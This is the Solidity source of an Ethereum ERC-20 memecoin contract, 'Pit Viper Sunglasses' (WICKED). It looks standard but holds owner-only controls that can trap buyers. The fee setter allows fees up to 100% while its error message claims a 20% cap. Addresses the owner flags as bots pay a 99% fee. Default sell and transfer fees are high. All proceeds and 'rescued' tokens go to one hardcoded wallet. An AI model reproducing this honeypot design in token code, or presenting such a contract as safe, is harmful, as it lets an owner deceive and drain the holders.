creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.26;
  
  
  library SafeMath {
  
      function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              uint256 c = a + b;
              if (c < a) return (false, 0);
              return (true, c);
          }
      }
  
      function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b > a) return (false, 0);
              return (true, a - b);
          }
      }
  
      function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (a == 0) return (true, 0);
              uint256 c = a * b;
              if (c / a != b) return (false, 0);
              return (true, c);
          }
      }
  
      function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a / b);
          }
      }
  
      function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a % b);
          }
      }
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          return a + b;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return a - b;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          return a * b;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return a / b;
      }
  
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          return a % b;
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b <= a, errorMessage);
              return a - b;
          }
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a / b;
          }
      }
  
      function mod(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a % b;
          }
      }
  }
  
  interface IERC20 {
      function decimals() external view returns (uint8);
      function symbol() external view returns (string memory);
      function name() external view returns (string memory);
      function getOwner() external view returns (address);
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address _owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);}
  
  abstract contract Ownable {
      address internal owner;
      constructor(address _owner) {owner = _owner;}
      modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
      function isOwner(address account) public view returns (bool) {return account == owner;}
      function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
      event OwnershipTransferred(address owner);
  }
  
  interface IFactory{
          function createPair(address tokenA, address tokenB) external returns (address pair);
          function getPair(address tokenA, address tokenB) external view returns (address pair);
  }
  
  interface IRouter {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline) external;
  }
  
  contract PitViperSunglasses is IERC20, Ownable {
      using SafeMath for uint256;
      string private constant _name = 'Pit Viper Sunglasses';
      string private constant _symbol = 'WICKED';
      uint8 private constant _decimals = 9;
      uint256 private _totalSupply = 4204200000000 * (10 ** _decimals);
      mapping (address => uint256) _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) public isFeeExempt;
      mapping (address => bool) private isBot;
      IRouter router;
      address public pair;
      bool private tradingAllowed = false;
      bool private swapEnabled = true;
      uint256 private swapTimes;
      bool private swapping;
      uint256 swapAmount = 1;
      uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
      uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
      modifier lockTheSwap {swapping = true; _; swapping = false;}
      uint256 private liquidityFee = 0;
      uint256 private marketingFee = 0;
      uint256 private developmentFee = 0;
      uint256 private burnFee = 0;
      uint256 private totalFee = 1500;
      uint256 private sellFee = 2500;
      uint256 private transferFee = 4000;
      uint256 private denominator = 10000;
      address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
      address internal development_receiver = 0xd51fDCb3B5E80007757cb7b163976519EE36b7aB; 
      address internal marketing_receiver = 0xd51fDCb3B5E80007757cb7b163976519EE36b7aB;
      address internal liquidity_receiver = 0xd51fDCb3B5E80007757cb7b163976519EE36b7aB;
      uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
      uint256 public _maxSellAmount = ( _totalSupply * 200 ) / 10000;
      uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;
  
      constructor() Ownable(msg.sender) {
          IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
          router = _router; pair = _pair;
          isFeeExempt[address(this)] = true;
          isFeeExempt[liquidity_receiver] = true;
          isFeeExempt[marketing_receiver] = true;
          isFeeExempt[development_receiver] = true;
          isFeeExempt[msg.sender] = true;
          _balances[msg.sender] = _totalSupply;
          emit Transfer(address(0), msg.sender, _totalSupply);
      }
  
      receive() external payable {}
      function name() public pure returns (string memory) {return _name;}
      function symbol() public pure returns (string memory) {return _symbol;}
      function decimals() public pure returns (uint8) {return _decimals;}
      function startTrading() external onlyOwner {tradingAllowed = true;}
      function getOwner() external view override returns (address) { return owner; }
      function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
      function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
      function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
      function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
      function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
      function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
  
      function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
          bool aboveMin = amount >= minTokenAmount;
          bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
          return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
      }
  
      function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
          swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
          minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
      }
  
      function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
          liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
          require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
      }
  
      function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
          uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
          _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
          uint256 limit = totalSupply().mul(5).div(1000);
          require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
      }
  
      function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
          marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
          isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
      }
  
      function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
          for(uint i=0; i < addresses.length; i++){
          isBot[addresses[i]] = _enabled; }
      }
  
      function manualSwap() external onlyOwner {
          swapAndLiquify(swapThreshold);
      }
  
      function rescue(address _address, uint256 percent) external onlyOwner {
          uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
          IERC20(_address).transfer(development_receiver, _amount);
      }
  
      function swapAndLiquify(uint256 tokens) private lockTheSwap {
          uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
          uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
          uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
          uint256 initialBalance = address(this).balance;
          swapTokensForETH(toSwap);
          uint256 deltaBalance = address(this).balance.sub(initialBalance);
          uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
          uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
          if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
          uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
          if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
          uint256 contractBalance = address(this).balance;
          if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
      }
  
      function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
          _approve(address(this), address(router), tokenAmount);
          router.addLiquidityETH{value: ETHAmount}(
              address(this),
              tokenAmount,
              0,
              0,
              liquidity_receiver,
              block.timestamp);
      }
  
      function swapTokensForETH(uint256 tokenAmount) private {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = router.WETH();
          _approve(address(this), address(router), tokenAmount);
          router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp);
      }
  
      function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
          return !isFeeExempt[sender] && !isFeeExempt[recipient];
      }
  
      function getTotalFee(address sender, address recipient) internal view returns (uint256) {
          if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
          if(recipient == pair){return sellFee;}
          if(sender == pair){return totalFee;}
          return transferFee;
      }
  
      function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
          if(getTotalFee(sender, recipient) > 0){
          uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
          _balances[address(this)] = _balances[address(this)].add(feeAmount);
          emit Transfer(sender, address(this), feeAmount);
          if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
          return amount.sub(feeAmount);} return amount;
      }
  
      function _transfer(address sender, address recipient, uint256 amount) private {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
          if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
          if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
          require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
          if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
          require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
          if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
          if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
          _balances[sender] = _balances[sender].sub(amount);
          uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
          _balances[recipient] = _balances[recipient].add(amountReceived);
          emit Transfer(sender, recipient, amountReceived);
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
  }